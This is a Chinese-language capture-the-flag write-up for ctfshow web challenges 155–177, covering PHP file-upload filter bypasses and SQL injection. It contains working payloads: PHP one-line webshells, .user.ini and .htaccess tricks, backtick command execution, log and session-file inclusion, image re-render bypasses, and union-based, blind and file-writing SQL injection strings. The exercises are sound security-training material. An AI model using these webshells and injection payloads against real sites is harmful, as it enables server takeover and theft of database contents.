这次上传图片发现也不行 原来是过滤了内容php 可以通过大小写绕过
然后使用一句话木马获取flag
访问url/upload/index.php
然后使用一句话木马获取flag
web155
提示:后端校验要严密
大小写也绕不过去 发现短标签开启了 php中的短标签 太坑人了
1 | echo '123'; //short_open_tags=on |
先上传.user.ini 再上传图片马
访问url/upload/index.php 显示安全连接失败 重开了一下环境 等了一下就行了 所有回显都到了源码里
然后使用一句话木马获取flag
2021/8/19
web156
在上一题的基础上过滤了[]
可以用花括号{}代替
其他步骤和之前一样 先上传.user.ini 再上传图片马
1 |
|
访问url/upload/index.php 还是显示安全连接失败 重开了一下环境 等了一下就行了
然后使用一句话木马获取flag
web157
在上一题的基础上又过滤了{}和;
使用另一种段标签格式
1 | // echo `cat ../f*` =`cat ../f*` |
web158
1 | // echo `cat ../f*` =`cat ../f*` |
web159
payload不能带括号()
1 | =`nl ../flag.ph*` |
web160
首先确认过滤了空格 .user.ini
原来是
1 | auto_prepend_file = 1.png |
现在需要把空格去掉才能上传
1 | auto_prepend_file=1.png |
然后发现反引号也被过滤了
是包含日志
1 | include"/var/lo"."g/nginx/access.lo"."g" = |
访问url/upload/index.php
然后使用一句话木马获取flag
看网上的payload说包含远程文件 远程文件是木马 然后读取flag也可以 由于没有服务器 所以没有实验
web161
增加了文件头的判断
用最简单的GIF89a绕过
先上传.user.ini
1 | GIF89a |
再上传1.png
1 | User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) eval(@$_POST{'a'}); |
web162
在上一题的基础上又过滤了.
用和web82一样的方法 利用竞争包含session文件
拿过来脚本 先把flag改成test 因为题目限制了flag字符
然后把’upload/index.php’.format(sessID)改成’upload/index.php’
一句话木马改一下
然后手动上传.user.ini
1 | GIF89a |
然后用脚本去上传木马并竞争访问upload/index.php 可以直接读到flag
1 | # -*- coding: utf-8 -*- |
web163
做法与上一题一样
web164
后端进行了二次渲染 ,利用 imagecreatefrompng().
渲染之后会把图片马内的php代码去除
因此我们需要把php代码写入渲染前后都不会发生变化的地方
二次渲染 参考: https://www.fujieace.com/penetration-test/upload-labs-pass-16.html
脚本:
1 |
|
生成了1.png 用winhex打开 可以看到一句话木马为
1 | 0]($_POST[1]); =$_GET[ |
直接前端上传1.png 然后点击查看图片 浏览器里hackbar执行命令然后用bp抓包
直接能包含的原因是后端代码直接包含了图片文件
去查看图片文件 url/upload/xxxxxx.png php代码依然存在
web165
png无法上传了 可以上传jpg
利用jpg二次渲染
二次渲染 参考: https://www.fujieace.com/penetration-test/upload-labs-pass-16.html
1 |
|
自己用各种图片渲染了几小时 都没成功
最后在github找到了现成的可以过二次渲染的图片马
上传之后 访问download.php 抓包命令执行获取flag
web166
jpg和png都无法上传
发现能上传zip文件 然后点下载文件 可以在download.php页面直接命令执行
后端代码里有include
注意:浏览器里hackbar执行命令然后用bp抓包才能命令执行
直接读取文件加post参数不能命令执行
或者用蚁剑直接连接download.php
web167
查看前端代码 可以上传jpg文件
upload下没了php文件 没法利用.user.ini了
发现服务器不是nginx了 变成了apache 想到.htaccess
1 | SetHandler application/x-httpd-php //把所有文件当做php文件解析 |
然后访问url/upload/1.jpg 即可看到flag
web168
前端上传png文件
后端修改文件拓展名为php
不过对php内容进行了过滤 需要用php免杀木马
上传成功后 访问url/upload/1.php 即可利用一句话木马
免杀:
1 |
|
1 |
|
1 |
|
1 |
|
1 | // 使用时请删除此行, 连接密码: TyKPuntU |
web169
前端允许上传zip文件
后端进行了Content-Type的校验 允许上传image/png类型
先上传zip文件 然后抓包修改文件类型和文件名字
但是发现过滤了<>
和php
,可以上传配置文件绕过
先上传.user.ini
然后上传名为1.php的空文件 保证upload文件夹下可以有php文件包含图片 并在UA里写一句话木马
通过浏览器访问发现无法命令执行 用蚁剑连接 需要用命令查看 才能看到真正的flagaa.php
文件管理是看不到的
web170
做法同上一题一样
sql注入
2021/8/25
web171
查库名
1 | 0' union select 1,database(),3 --+ //ctfshow_web |
查表名
1 | 0' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() --+ //ctfshow_user |
查列名
1 | 0' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='ctfshow_user' --+ //id,username,password |
查数据
1 | 0' union select id,username,password from ctfshow_user --+ //flag |
web172
1 | //拼接sql语句查找指定ID用户 |
要求username字段不能出现flag
查列数
1 | 1' order by 2 --+ //一共两列 |
查库名
1 | 0' union select 1,database() --+ //ctfshow_web |
查表名
1 | 0' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() --+ //ctfshow_user2 |
查数据
1 | 0' union select username,group_concat(password) from ctfshow_user2 --+ //flag |
web173
1 | //拼接sql语句查找指定ID用户 |
对返回的数据进行过滤
查列数
1 | 1' order by 3 --+ //一共两列 |
查库名
1 | 0' union select 1,database(),3 --+ //ctfshow_web |
查表名
1 | 0' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() --+ //ctfshow_user3 |
查数据
1 | 0' union select username,group_concat(password),3 from ctfshow_user3 --+ //flag |
2021/8/27
web174
1 | //拼接sql语句查找指定ID用户 |
检测返回结果是否有flag和数字 如果存在就不输出
1 | 1' union select replace(username,'g','a') ,'a' from ctfshow_user4 --+ |
方法一
查列数
1 | 1' order by 2 --+ |
查库名
1 | 0' union select 'a',database() --+ //ctfshow_web |
查表名
1 | 0' union select 'a',replace(group_concat(table_name),'4','a') from information_schema.tables where table_schema=database() --+ //ctfshow_user4 |
查列名
1 | 0' union select 'a',group_concat(column_name) from information_schema.columns where table_name='ctfshow_user4' --+ //id,username,password |
查username值
1 | 0' union select to_base64(username),'password' from ctfshow_user4 --+ //ZmxhZw== //flag |
查password值
1 | 0' union select replace(username,'f','a'),replace(replace(password,'0','a'),'1','b') from ctfshow_user4 --+ |
把字母变成数字
1 |
|
方法二
写文件方法 前提是设置了允许写文件
1 | 0' union select username,password from ctfshow_user4 into outfile '/var/www/html/1.txt' --+ //返回信息 Query OK, 1 row affected (0.01 sec) |
方法三
盲注
1 | #-- coding:UTF-8 -- |
1 | # -*- coding: utf-8 -*- |
1 | min max mid |
1 | payload="?id=' union select 'a',if(ascii(substr((select group_concat(password) from ctfshow_user4 where username='flag'),%d,1))<%d,'small','da')+--+"%(i,mid) |
1 | payload="?id=' union select 'a',if(ascii(substr((select group_concat(password) from ctfshow_user4 where username='flag'),1,1))<57,'small','da')+--+"%(i,mid) |
web175
1 | //拼接sql语句查找指定ID用户 |
方法一
1 | # -*- coding: utf-8 -*- |
方法二
写文件
1 | 0' union select username,password from ctfshow_user5 into outfile '/var/www/html/1.txt' --+ //返回信息 Query OK, 1 row affected (0.01 sec) |
2021/9/3
web176
源码:
1 | //拼接sql语句查找指定ID用户 |
方法一
查列数
1 | 1' order by 3 --+ |
查库名
1 | 0' unIoN SelEcT 1,database(),3 --+ //ctfshow_web |
查表名
1 | 0' unIoN SelEcT 1,group_concat(taBle_nAme),3 From infoRmaTion_schEma.taBles wHerE table_schema=database() --+ //ctfshow_user |
查列名
1 | 0' unIoN SelEcT 1,group_concat(Column_nAme),3 From infoRmaTion_schEma.colUmns wHerE table_name='ctfshow_user' --+ //id,username,password |
查username值
1 | 0' unIoN SelEcT id,username,password From ctfshow_user --+ //flag |
查password值
1 | 0' unIoN SelEcT id,username,password From ctfshow_user --+ //flag |
貌似只过滤了 union select
方法二
万能密码
1 | 1' or 1=1 --+ //输出所有字段 |
web177
查列数
1 | 1'/**/order/**/by/**/3/**/%23 |
查库名
1 | 0'/**/union/**/select/**/1,database(),3/**/%23 //ctfshow_web |
查表名
1 | 0'/**/union/**/select/**/1,group_concat(table_name),3/**/from/**/information_schema.tables/**/where/**/table_schema=database()/**/%23 //ctfshow_user |
查列名
1 | 0'/**/union/**/select/**/1,group_concat(column_name),3/**/from/**/information_schema.columns/**/where/**/table_name='ctfshow_user'/**/%23 //id,username,password |
查字段内容
1 | 0'/**/union/**/select/**/id,username,password/**/from/**/ctfshow_user/**/%23 //flag |
由于字符太多了 造成md文档太卡 以后分成不同的部分写下来